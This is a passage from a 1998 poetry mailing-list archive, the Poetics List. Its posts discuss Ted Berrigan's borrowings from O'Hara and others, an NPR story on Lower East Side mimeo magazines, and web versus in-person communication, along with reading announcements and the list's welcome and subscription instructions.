He again seems to deliberately echo O'Hara, particularly the last line of "How to Get There":

"and we drift into the clear sky enthralled by our disappointment
        never to be alone again
                never to be loved
sailing through space: didn't I have you once for my self?
                West Side?
        for a couple of hours, but I am not that person"

Again, Berrigan picks up a line from O'Hara, puts it in a new context, builds on it, etc. The whole poem's structure -- "I used to be ... now I am ..." -- suggests that perhaps the poem is ABOUT negotiating with earlier influences, earlier

selves ("I used to be but now .. I am not that person"). Paying attention to the echoes can open the poem in interesting ways ..

So rather than dismissing comments about Berrigan's debt to O'Hara as wholly unfair, maybe we, as readers or TB, need to think about HOW he is reading and using O'Hara, Ashbery, Whalen, Ginsberg, Creeley (didn't the poem "Words For Love" come from the titles of the two Creeley books on Berrigan's desk?), specifically. It seems to me like he engages in an ongoing _conversation_ with poets like O'Hara that is really fascinating. (And the post that connected his fondness for allusion and appropriation to literal theft was a really neat idea worth considering ...)

I also wanted to strongly second the recording of "Red Shift" on that Exact Change Yearbook CD. I've never heard a poem read aloud in a more powerful or moving way than that one. (Hint: I checked the Exact Change book out of the library and taped the CD and returned it).

"I am 43. When will I die? I will never die. I will live To be 110 & I will never go away, & you will never escape from me who am always & only a ghost, despite this frame...." ("Red Shift")

Andrew Epstein

↑ Index

287. Daniel Zimmerman
Re: Berrigan/i'm smiling
Thu 5 Mar 1998

ScoutEW wrote:
>
> All the Berrigan posts have been great, just a few things..
> I would be anxious to know at what park Olson and Berrigan talked at in 1963?
> I grew up in Buffalo and would like to know!
>
So would I! Betcha Delaware; they could have walked there from the University pretty easily [as a freshman or sophomore then, I don't remember]. Where did you live in Bflo? I grew up in So. Buffalo, near Cazenovia [another Olmstead baby] & the small Seneca Indian Park [where Red Jacket lay before his move to Forest Lawn, adjacent to Delaware Park]. Creeley would probably know. Let us all know if you find out!

Best,
Dan Zimmerman

↑ Index

288. **Maria Damon**
Re: Musical Palindrome
Thu 5 Mar 1998

At 11:17 AM +0000 3/5/98, Miekal And wrote:
>from Literature Nation
>
>
>debut brag sore tip radar nod. dad dotes mile van. edit non word team
>nor page look. cuckoo beer tred. no, who read set in bard's evil
>kook lives drab nites dear. oh wonder tree book. cuckoo leg apron
>meat. drown on tide. navel, Im set odd, add on radar pit. eros garb
>tubed.

why you impertinent snivel: this is definitively NOT POETRY!!!

↑ Index

289. **laura and jeff**
Re: NPR
Thu 5 Mar 1998

---

if anyone taped this please backchannel how much to get a copy. jeff.

>we missed this... see if anyone taped it?
>
>> Radio Alert!
>>
>> As I type at 3:30 PM west coast time, NPR and All Things Considered is doing
>> a piece on the NY Public Library's show of the Poetry Project's mimeoed
>> magazines. Berrigan mentioned; Ron Padgett is speaking now . . . go to the
>> left of your dial and turn it on!
>>
>
>..
>
>Christopher Alexander [redacted]
>Marriott Library Instruction [redacted] (lv. msg.)
>
---

no quotes today...

↑ Index

290. **laura and jeff**
Re: Berrigan/i'm smiling
Thu 5 Mar 1998

> *Go ahead and set yourself up as Berrigan's Defender. I never labelled anybody. I said Berrigan combined art and life, formality & informality, by letting the GRUNGE of street life seep into his work, the gritty, GRUNGY street-life of Providence, Worcester, New York, Tulsa, wherever it may be found (it's even in Minneapolis). I don't think Berrigan would disagree, myself. I find GRUNGY to be a fine evocative word for the GRUNGE I am talking about.*

butit's easy to loose people who may not know better (and perhaps some that do) in the conotations of the word. for me: i've been involved with the punk rock scene most of my life. for years grunge punk bands where the butt of many of jokes, and never taken seriously (this all before they got huge). so: when someone uses the word grunge, my first reaction is to think of a person who is trying to hard to be something -- contriving, and in need of a bath. i realize that this is a stereotype, but it is my first reaction to the word, and thus my thoughts will be tainted by this initial reaction. and so on... jeff.
---

no quotes today...

↑ Index

291. **laura and jeff**
i'm gonna
Thu 5 Mar 1998

---

be far away for two weeks, and am gonna turn off the list for that time.
anyone who wants to continue to discuss, etc. please do backchannel, and
i'll pick it up when i get back around.
have fun!
jeff.
---

no quotes today...

↑ Index

292. **Christopher W. Alexander**
call for additions
Thu 5 Mar 1998

---

let me reiterate this, so's to add some news...
the new version of n/formation is more or less
up; archived iss. need a bit of work as does

the press section (sorry to folks involved),
but the node which pertains to the following
call for additions is whole and available under
"available nodes" @ the front door.

to those who've already sent work, sorry for
the delay in replying – redoing the site has
taken up most of the past 2 days.

--

<http://choengmon.lib.utah.edu/~calexand/nonce>

topic for the most recent node of n/formation
will be (since y'all are thinkin about it) . . .

PUBLIC-/A(C)TIONS

public / interaction / public action / publication

interst'd in poems, pomes, prose, essays esp-
ecially essays, hypertext, vizpo – meditations
and mediatations on this ardently convoluted
topic

love and kisses,
(inappropriate display)

Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

293. laura and jeff
Re: web publication, etc.
Thu 5 Mar 1998

---

good point. but: there have always been poets limited for one reason or another, who have still managed to get published. and poetry (obviously) is not always verbal-- doesn't have to be / need to be. and while i'm sure it's nice to have the ease of web publishing, there are other ways, and these ways should not be forgotten. as far as "egoless" poetry... poetry will always have a writer. even if the poet tries to write without ego, it is still s/he trying to be egoless.

and perhaps the ego is bigger in it's attempt ((i.e. i feel (the person) jackson mac low more strongly in his unintentional texts, than in his intentional. meaning: the ego it takes to think up "unintentional" leaves it's mark)). i think a lot of people are misunderstanding my meaning: i am not "anti-web". i can just see that a world without the written or spoken word is a sad one. and i have seen a lot of people disappear into their computers in the last few years. they have forsaken tactile, vistual, audible, etc. world in favor of the stagnation of the same form, the computer. i understand the computer is a valuable tool (here i am, aren't i), but people are allowing it to become their life. and i think: when the experience of life disappears, so shall art. this upsets me. jeff.

>One of the facets of the web that I like is that writing will increasingly
be >able to exist, be, without attachment to a
human being, i.e., no "name," no personable voice characteristics, no
attractive or charismatic person attached--in short,
an increase in anonymously generated language objects whose sole value will
be >what is on the page. One among many
reasons I would like to see more of this someday is the thought of writers
who have been limited in mobility (thus
>couldn't do a lot of readings to get people to look seriously at their
writing), or limited in oral motor faculties (thus
>>couldn't get people to hear the inflection of their "voices"), or limited
by a host of social and material advantages
>>(thus couldn't buy attention to their writing), or limited in
psychological lust for attention (thus couldn't or wouldn't
>>want more from their writing than that it exist).
>>
>>laura and jeff wrote:
>>
>>> >>i've been following the thread relating to this with interest...
>>> >>
>>> >>methinks it comes down to this:
>>> >>the web is good for wide opportunity and collective action. but the
fact is:
>>> >>we are living in a world that is quickly alienating itself from itself via
>>> >>any source it can. the web is adding to this is two major ways:
>>> >> 1) it gives the guise of communication, but with out any
>>> >>kind of physical relationship between those
>>> >>"communicating" with
>>> >> each other. so no true communication can take
>>> >place due
>>> >> to a lack of viceral stimulation between the

people
>>> >>communicating (no body lang, eye contact, hearing a
>>> >>voice, etc).
>>> >
>>> >i *miss* the same things when i
>>> >read a letter from a friend or a rejection slip from a journal / so i'm
>>> >afraid the tired point has to be made that if you subsitute the word
"book"
>>> >or "newspaper" or "personal letter" for "web" in your statement above,
the
>>> >language of your critique sounds suddenly antiquated and reactionary --
if
>>> >no "true communication" can take place without "viceral stimulation be-
tween
>>> >the people communicating", then this pretty much damns the whole writ-
ten
>>> >record, doesn't it?, and not just the web, unless you mean something
more
>>> >specific by "communication" / not to sound flip, but we're communicating
>>> >here, aren't we?
>>>
>>> are we? i don't know you. i don't know what you look like, sound like, etc.
>>> i don't know how you live your life. all i have are words floating on a
>>> screen. i can make assumptions, and even learn and somewhat communi-
cate. but
>>> to me you can only be a collection of electronic words. i assume that
>>> someone put them together, but i don't know who it is. so the annalogy of
a
>>> letter from a friend is false. i know my friends. i spend as much time with
>>> them as possible. and when i get a letter: i hold it, read it. sometimes it
>>> smells like them or their home. with email: i have electic lights burning
my
>>> eyes. i hold a mouse and keyboard. granted: getting this email from you is
>>> better than nothing, but it's important to realize that people are
>>> "settling" for this over going out and talking to people. i know scores of
>>> people who just sit in their houses all day on the puter. it's safe. they
>>> don't have to try to be anything. but at the same time they can't fully
>>> express themselves, and thus get to know anyone really. one fella i know,
>>> who has a phd in philosophy (and thus no job), used to be one of my fa-
vorite
>>> people to talk to. he was so animated and interesting. we'd drink tea and
go

>>> all night about various subjects. but now he has no time for "talking". he
>>> doesn't come out. it's easier to sorta talk to a hundred people, than to
>>> really talk to one.
>>> okay: i don't know about anyone else: but when i'm reading (anything
from
>>> whitman to herodotus) i will at times catch myself reading out loud and
>>> pacing around the room (both of which horribly annoy my wife). i feel
>>> stimulated. i get excited and further annoy laura by reading passages to
her
>>> and try to get her to talk about it while she's studying or painting. this
>>> excitement is inflammed when i go to a reading, or am just being read to
by
>>> a friend. on the puter i get bored after a while. and yet i sit here because
>>> at times i forget about other things. the puter becomes my world. and this
>>> world burns my eyes, leaves me alone in a room, etc. yet here i am.
>>> all of written history is not damned by this. every book is different in
>>> basic physicality, as well as in content. every book leads to a new book:
>>> others by that author, biographies, books by contemporaries, sources, etc.
>>> this leads to deeper understanding of those we can no longer go and see.
>>> (this all leads to discussion, human interaction, in most cases.) and those
>>> we can still see we should demand to see, as the last year has proved,
>>> before it's too late.
>>> it'd be one thing if the puter was just a tool to get in contact with
>>> people, but it is increasingly becoming a substitute for physical contact.
>>> and i loose coherence a little easier.
>>> jeff.
>>>
>>>

>>>
>>> There are no hierarchies, no infinite, no such many as mass,
>>> there are only
>>> eyes in all heads
>>> to be looked out of
>>>
>>> -charles olson, from "letter 6" (of the
maximus poems)
>>
>
---

no quotes today...

↑ Index

294. **david bromige**
after Hilton "Ted" Oberzinger
Thu 5 Mar 1998

---

if it means free pills & priceless verse

↑ Index

295. **acgold01**
Theresa Hak Kyung Cha 'n Berrigan 'n Consc. Objectors
Thu 5 Mar 1998

Does anyone know where one (me) can get hold of any of Cha's work in film / video? I'm "doing" *Dictee* in my (borrowing Maria's great term for now) "Weird Books by Women" course, but never have seen any of her visual work except in reproduced stills or the visual / text piece in *Premonitions*. I'd also be interested to hear--b/c or on the list, either way--whether there was any interaction between Cha and Bay Area langpo's while she was living out there. Ron, or anyone?

In my role as resident reference-nerd: a bit of recent academic attention to Berrigan can be found in Libbie Rifkin's essay "Worrying about Making It': Ted Berrigan's Social Poetics," Contemporary Literature 38.4 (winter 1997): 640-672. Part of her Cornell diss., which also has some real good stuff on Olson and Creeley.

Joel Kuszai--backchannel me and I might be able to give you a lead re the conscientious objectors movement (in WWII, anyway, and Lowell, Everson, and Stafford's relation to it).

Ace conference down home here in Louavull this past weekend: much fruitful provocation stirred up by Cary Nelson, Eavan Boland somewhere between serious historical engagement and marketable nostalgia depending on whose p-o-v you listen to, Harryette Mullen serving up a spectacular run through the whole of *Muse and Drudge*, non-stop. Some of you were here; the rest of you should have been. Well, next year in Jerusalem.

Back to lurkerdom,

Alan

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296. Rachel Loden
NPR piece on "A Secret Location on the Lower East Side"
Thu 5 Mar 1998

You can hear this piece online at

http://www.npr.org/programs/atc/archives/1998/980304.atc.html

if you have a RealAudio player (available for download on the site). Click on "mimeo revolution." There's a tiny clip of Berrigan reading --also comment from Padgett, Clay, Waldman.

Rachel Loden

laura and jeff wrote:
>
> if anyone taped this please backchannel how much to get a copy.
> jeff.
>
> >we missed this... see if anyone taped it?
> >
> >> Radio Alert!
> >>
> >> As I type at 3:30 PM west coast time, NPR and All Things Considered is doing
> >> a piece on the NY Public Library's show of the Poetry Project's mimeoed
> >> magazines. Berrigan mentioned; Ron Padgett is speaking now . . . go to the
> >> left of your dial and turn it on!
> >>
> >
> >..
> >
> >Christopher Alexander [redacted]
> >Marriott Library Instruction [redacted] (lv. msg.)
> >

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297. Charles Bernstein
Susan Bee's Show
Thu 5 Mar 1998

I am happy to announce a solo show by

SUSAN BEE

Post-Americana: New Paintings

from March 10 to March 28
Opening Reception on Saturday, March 14, 6-8pm

A.I.R. Gallery
40 Wooster Street
New York, NY 10013
[redacted]

Gallery Hours: Tuesday - Saturday 11am-6pm

links to Susan's works include:

http://www.airnyc.org/member/artist.cfm?id=41

http://igor.lis.wisc.edu/english/bernstein/probgirl.html

http://www.granarybooks.com/artists/bee/bee1.html
(& keep clickiing on the images)

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298. **Poetics List**
Welcome Message
Thu 5 Mar 1998

Rev. 2-1-98

(This message is sent out to all new and renewing subscribers and it is sent out to the list at the beginning of every month)

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

Postal Address: 438 Clemens Hall, SUNY, Buffalo, NY 14260

---

http://writing.upenn.edu/epc

_____Contents_____

1. About the Poetics List

2. Subscriptions
3. Cautions
4. Digest Option
5. Temporarily turning off Poetics mail
6. Who's Subscribed
7. The Electronic Poetry Center (EPC)
8. Poetics Archives at EPC
9. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein
([redacted]), Loss PequeñoGlazier
([redacted]), and Joel Kuszai ([redacted]).

Above the world-weary horizons

New obstacles for exchange arise

Or unfold, O ye postmasters!

1. About the Poetics List

The Poetics List was founded in late 1993 with the epigraph above.

There are presently almost 600 subscribers.

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list relatively small and the volume manageable.

individual posts of participants are sent directly to all subscribers, we continue to work to promote the editorial function of this project. The definition of that project, while provisional, and while open to continual redefinition by list participants, is nonetheless aversive to a generalized discussion of poetry. Rather, our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible. **<color><param>ffff,0000,0000</param>We also encourage subscribers to post information on publications and reading series that they have coordinated, edited, published, or in which they appear (see section 9 below).** (THIS MEANS *YOU*).

</color>

Please keep in mind that all posts go out immediately to all subscribers, and become part of an on-line archive. *<italic>Posting to Poetics is a form of publication, not personal communication</italic>.* Participants are asked to exercise caution before posting messages! While spontaneity of response may seem the very heart of the list at its best, it also has the darker side of circulating ideas that have not been well considered (or considered by another reader -- editor or friend). Given the nature of the medium, subscribers do well to maintain some skepticism when reading the list and, where possible, to try to avoid taking what may be something close to a spontaneous comment made in the heat of exchange as if it were a revised or edited essay ("Let the Reader Beware!").

The "list owner" of Poetics is Charles Bernstein. Joel Kuszai is list manager. For subscription information contact us at
[redacted].

---

2. Subscriptions

Subscriptions to Poetics are free of charge. But we ask that you subscribe with your real name and we reserve the right to request additional information, including address and phone number. All subscription information you supply will remain confidential.

message, with no subject line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your

name to unsub)

We will be sent a notice of all subscription activity. Please allow several days for your new or re-subscription to take effect.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at shareware sites): from the Tools menu select "Options" and

then select set-up for "Sending Mail": you may be able to substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

In general, if a Poetics message is bounced from your account, your subscription to Poetics will be temporarily suspended. If this happens, simply resubscribe to the list in the normal manner, once your account problem has been resolved.

All questions about subscriptions, whether about an individual subscription or subscription policy, should be addressed to the list's administrative address: [redacted]. Please note that it may take up to ten days, or more, for us to reply to messages.

---

3. Cautions

Please do not post to the list personal or backchannel correspondence, or other unpublished material, without the express permission of the author. Copyright for all material posted on Poetics remains with the author; material from this list and its archive may not be reproduced without the author's permission, beyond the standard rights accorded by "fair use".

The Poetics List has a 50 message daily limit. If more than 50 messages are received, the listserver will automatically hold those additional messages until the list is manually unlocked, usually the following day. While it is difficult to prescribe a set limit on the number of daily, weekly, or monthly posts for any subscriber, please keep this limit in mind. If you plan to respond to multiple threads, it is generally preferable to consolidate your reply into one message. While relevant excerpts from a post to which you are responding may usefully be appended to your reply, please do not include in your new post the whole text of a long previously posted message.

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot decode attached or specially formatted files.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific

EPC subject areas. Brief reviews of poetry events and publications are always welcome. (See section 7.)

Please do not send inquiries to the list to get an individual subscribers address. To get this information, see section 6.

If you want someone to send out information to the list as a whole, or supply information missing from an post, or thank someone for posting something you requested, please send the request or comment to the individual backchannel, not to the whole list.

---

4. Digest Option

The Listserve program gives you he option to receive all the posted Poetics message each day as a single message. If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to

[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply

to this message!!

You can switch back to individual messages by sending this message:

set poetics mail

---

5. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail. You can temporarily turn off your Poetics subscription by sending a message to "[redacted]"

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics

archive. (See 8 below.)

---

6. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to e-mail message blank. In the body of your e-mail message type:

review poetics

You will be sent within a reasonable amount of time (by return e-mail) a rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

or try:

review POETICS by name

review POETICS by country

which will give you the list alphabetically by name or a flawed list by country (since all ".com" and ".net"s are counted as US)

Please do not send a message to the list asking for the address of a specific subscriber.

---

7. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequeño Glazier.

---

8. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

Or set your browser to go directly to:

http://writing.upenn.edu/epc/poetics/archive

---

9. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If yourword processor ill save files in Rich Text Format (.rtf) this is also highly desirable

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Initially, you might want to send short anouncements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

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299. Pierre Joris
Re: Berrigan/Wilbur/Auden
Thu 5 Mar 1998

Rachel Loden wrote:

> *.. Have never understood why it's okay and*
> *playful and camp to learn from (and use) BAD movies, BAD music, etc.,*
> *but not (what some people may think is) BAD poetry. Why be so*
> *straitlaced? Shouldn't a poet be more like a magpie?*
>
> *Rachel Loden*

Oh, sure Rachel, it's just that I never had a taste for Auden, there's a fair amount of other BAD poetry I don't mind or in fact enjoy using, though finally I rather steal lines form ted than from doubleyou aitch.
Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel: [redacted] fax: [redacted]
email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
— La Rochefoucauld
“All my life I’ve heard
one makes many”
— Charles Olson
==========

↑ Index

300. **Rachel Loden**
Berrigan/Wilbur/Auden
Thu 5 Mar 1998

Schuchat Simon wrote:

> *He told me how much*
> *he liked a particular poem by Richard Wilbur.*

I think this must be the strangest thing I've read on this list since Ron Silliman said he had enjoyed the cinematic _English Patient_.

But (as a contrarian) I love this stuff--even though I don't think I've ever liked a Richard Wilbur poem. I wish Ted Berrigan were here so I could ask him _which_ poem. Wouldn't that be a lot more fun than endlessly toeing some rigid aesthetic line?

Pierre Joris writes:

> *Another poeta Ted was forever studying was Auden. Sometime in the middle seventies I asked him why he still bothered with that mannered Brit cocktail-chatter & he said something like: "Becaus he's got the biggest bag of cheap tricks — and as a poet you need to know all the cheap tricks of the trade."*

This makes perfect sense to me. Have never understood why it's okay and playful and camp to learn from (and use) BAD movies, BAD music, etc., but not

(what some people may think is) BAD poetry. Why be so straitlaced? Shouldn't a poet be more like a magpie?

Rachel Loden

↑ Index

301. Henry Gould

Re: Berrigan/i'm smiling

Thu 5 Mar 1998

On Thu, 5 Mar 1998 18:29:25 -0500 laura and jeff said:
>
>butit's easy to loose people who may not know better (and perhaps some that
>do) in the conotations of the word. for me: i've been involved with the punk
>rock scene most of my life. for years grunge punk bands where the butt of
>many of jokes, and never taken seriously (this all before they got huge).
>so: when someone uses the word grunge, my first reaction is to think of a
>person who is trying to hard to be something -- contriving, and in need of a
>bath.

This is a good point. The whole dippy argument is a clash of generations. It's good for you to learn that "grungy" is a real word to some people who know & care little about the alternative rock scene important to their kids' generation. It's good for me to learn the limitations of my own historical perspective. But I also believe that, with regard to the example you give, EVERYONE is deeply involved in grunge. Because we are ALL TRYING HARD TO BE SOMETHING and we all NEED A BATH. - Henry Gould

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302. Shemurph

Re: A Secret Location on the Lower East Side

Thu 5 Mar 1998

The NPR story came on as I was driving along on a biz trip, and it was quite a pleasure to hear it. Validating. I was trying to picture the fragile mimeo- ed objects, and felt like hopping a plane. Maybe some way before July when the exhibit closes!

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303. **Steve Shoemaker**
Re: reznikoff's girder take 3
Thu 5 Mar 1998

I'm coming in on this "girder" exchange late, and I happen to be very tired at the moment, so this is just to sort of hold my place for a while because listmemory is so short. I think you--David--are wrong about the Rez image being in bad faith. But it wld be difficult to explain why, & i just can't go into it right now. We'd have to start with the fact, tho, that the line that is being quoted is not what what Rez wrote, but what Oppen remembered. To note the difference doesn't do much to explicate my case, since what Rez wrote was "rubbish," not "rubble." But we shld at least start from the right place. More later. Steve

At 04:31 PM 3/4/98 -0800, you wrote:
>This in response to something in one of Joel Kuszai's recent posts.-- It
>strikes me as an oddly undemocratic vision for Reznikoff--or Oppen, who
>approved of this line--to (as Joel so well says) "put a halo" around one
>piece of the rubble, consigning the rest ("huddled masses") to the
>garbage-scow of history. Consider the reader. S/he identifies with the
>girder ("I am a girder") and so what does that make the rest of us? Not a
>brick here and a bike wheel there and a single mitt here but--mere
>rubble.("rabble," as Joel puns). Or s/he identifies with the rubble--so who
>is that jerk who thinks he's a girder and we others are undifferentiated
>trash?
>
>"I saw the girder
> first was still itself
> and then brick by brick
> and then the bike wheel,
> then the dead cat, each
> halo'd with identity"
>
>
>but perhaps american poetry no matter the marxism of its writer cannot
>transcend the cult of rugged individual ("resistant as a girder") and still
>be received as fine. I certainly don't care for what I just made up and put
>in lines. But I do care that this reznikoff girder-poem is in bad faith.
>David
>
>

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304. Rachel Loden
Re: Berrigan/Wilbur/Auden
Thu 5 Mar 1998

Pierre Joris wrote:

> *there's a fair*
> *amount of other BAD poetry I don't mind or in fact enjoy using*

But this is fascinating (to me, anyway). Pierre, don't hold out on us! WHICH bad poetry?

Yours for guilty pleasures,

Rachel

↑ Index

305. William Marsh
Re: web publication, etc.
Thu 5 Mar 1998

---

dear jeff

agree with just about everything you write here / sure, lots lost in e-communication / but obviously also lots gained / i'm more connected, definitely, now than i was a couple years ago before taking the e-plunge / and several real-virtual relationships have lead to (or at least hastened the development of, assuming we probably would've met down the line) several virtual-real ones, not to mention sustaining, extending initial how-d-do's at conferences etc. which otherwise, probably, would have fizzled / so yeah, i both know and know of more people now with the help of email -- pleased to meet ya / and gosh, i think we're still communicating (somewhat communicating?) here, even tho you can't smell my aftershave / to you i can only be "a collection of electronic words"? / i've been less on worse days

bill

At 01:20 AM 3/5/98 -0500, you wrote:
 but we're communicating
>>here, aren't we?
>
>are we? i don't know you. i don't know what you look like, sound like, etc.
>i don't know how you live your life. all i have are words floating on a
>screen. i can make assumptions, and even learn and somewhat communicate. but
>to me you can only be a collection of electronic words. i assume that
>someone put them together, but i don't know who it is. so the annalogy of a

>letter from a friend is false. i know my friends. i spend as much time with
>them as possible. and when i get a letter: i hold it, read it. sometimes it
>smells like them or their home. with email: i have electic lights burning my
>eyes. i hold a mouse and keyboard. granted: getting this email from you is
>better than nothing, but it's important to realize that people are
>"settling" for this over going out and talking to people. i know scores of
>people who just sit in their houses all day on the puter. it's safe. they
>don't have to try to be anything. but at the same time they can't fully
>express themselves, and thus get to know anyone really. one fella i know,
>who has a phd in philosophy (and thus no job), used to be one of my favorite
>people to talk to. he was so animated and interesting. we'd drink tea and go
>all night about various subjects. but now he has no time for "talking". he
>doesn't come out. it's easier to sorta talk to a hundred people, than to
>really talk to one.
>okay: i don't know about anyone else: but when i'm reading (anything from
>whitman to herodotus) i will at times catch myself reading out loud and
>pacing around the room (both of which horribly annoy my wife). i feel
>stimulated. i get excited and further annoy laura by reading passages to her
>and try to get her to talk about it while she's studying or painting. this
>excitement is inflammed when i go to a reading, or am just being read to by
>a friend. on the puter i get bored after a while. and yet i sit here because
>at times i forget about other things. the puter becomes my world. and this
>world burns my eyes, leaves me alone in a room, etc. yet here i am.
>all of written history is not damned by this. every book is different in
>basic physicality, as well as in content. every book leads to a new book:
>others by that author, biographies, books by contemporaries, sources, etc.
>this leads to deeper understanding of those we can no longer go and see.
>(this all leads to discussion, human interaction, in most cases.) and those
>we can still see we should demand to see, as the last year has proved,
>before it's too late.
>it'd be one thing if the puter was just a tool to get in contact with
>people, but it is increasingly becoming a substitute for physical contact.
>and i loose coherence a little easier.
>jeff.
>
>----------

>
> There are no hierarchies, no infinite, no such many as mass,
> there are only
> eyes in all heads
> to be looked out of

>
> -charles olson, from "letter 6" (of the maximus poems)
>
>

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://bmarsh.dtai.com
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

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306. **Simon/Piombino**
March Readings at Segue @ Here
Fri 6 Mar 1998

Announcing the Segue @ Here Reading series for March, Saturdays at 3 P.M.,Here Center for Independent Art, 145 Sixth Avenue Between Spring and Broome, New York, N.Y, $5 donation- March 7: Beth Joselow, Serge Gavronsky; March 14: Corinne Robins,Fiona Templeton; March 21: Don Byrd, Madeline Gins; March 28: Chris Reiner,Jackson Mac Low. I'll be on hand to introduce the readers- if you do come, and you feel like it, please say hi to me!

Nick Piombino

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307. **Simon/Piombino**
Ted Berrigan
Fri 6 Mar 1998

I've enjoyed reading posts about Ted Berrigan by Erik, Simon Schuchat, Jordan Davis, Henry Gould and others. In 1967 I attended Ted's workshop at the Poetry Project. Some years later, as he did with many others,Ted gave me some very much appreciated support,including recommending some poems of mine to Simon Schuchat and Eileen Myles who were publishing mimeo magazines in the early to middle 70's.(By the way, Ted confided in me that he was particularly impressed by Mr. Schuchat's" brilliance" and writing talents).I had heard Ted read a few times before attending his workshop and had been deeply impressed

and truly excited by his poetry and his manner of reading. Ted's readings had a special combination of humor, sincerity, affection, spontaneity and sheer poetic intensity and beauty which have been rarely equalled in contemporary poetry. Ted put great emphasis on the importance of giving poetry readings in the career of a poet. In his own way, he was a great actor. As a teacher, a reader, and a mentor he gave of himself completely. Hardly a week or two goes by in my life when I do not think about him. I go back to his work constantly and keep discovering new things. His work and his person were unforgettably inspiring.- Something about his person and his approach to poetry made a great many people excited about poetry in an unusual way, perhaps because of his way of sharing his special passion and devotion to the art, perhaps because of his way of emanating and encouraging more joy and pleasure in writing and living. It is possible that later in life he paid a price for adamantly refusing to take himself, writing- or anything- seriously to the point of eliminating any possible generosity, warmth, joy and spontaneity. Perhaps he was an example of a "60's casualty", something Charles Bernstein long ago pointed out as a cautionary tale, though I don't like to think about this too much. I think I agree with Henry Gould in what he seemed to be saying about Berrigan's combining of the quotidian with high art. Berrigan's irrepressible passion for life made all passions seem more possible and more necessary. I cannot look at an exclamation point without thinking of him!

Here are a few lines from a poem by Carter Ratcliff published in 1969 in "The World Anthology" edited by Anne Waldman:

THINGS TO DO IN TED BERRIGAN'S WORKSHOP

Arrive at eight-thirty
Arrive early when the table is strewn with banners all strewn with
table-shaped stars....
Notice who was there all the time
Read things on the wall
Dismiss this project immediately
Concentrate on the poem being read....
Say that a a poem is great because the poet speaks of important things
in his own voice....
Disagree with anything anybody else says,especially what Charles, Ted,
Nick and Scott say
Agree with everything anybody says....
Be jealous of everybody
Approve of this sentiment and its intensity....

*

Hope to hear more from others about Ted Berrigan.

Nick Piombino

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308. joel lewis
berrigan
Fri 6 Mar 1998

from my conversations with alice notley, their appears to be little left in manuscripts of ted's for publication--although if some ambitious grad students would haunt collections w/ mineo books, they'd probably find plenty of uncollected ted. geoff young was intersted in publishing waiting for chris --but i understand that the manuscript is missing parts.

yes, ted loved richard wilbur & lot of folks that this list would consider cornballs. he loved lowell's "To Speak of the Woe that is in marriage" and once recited Joyce Kilmer (& not Trees) when someone put down one of jersey's bards. i guess i learned to be open to all sorts of stuff -- ted dug the langyage poets & i even remeber a manuscript homasge to bruce andrew's Film Noir that seems to have never seen print

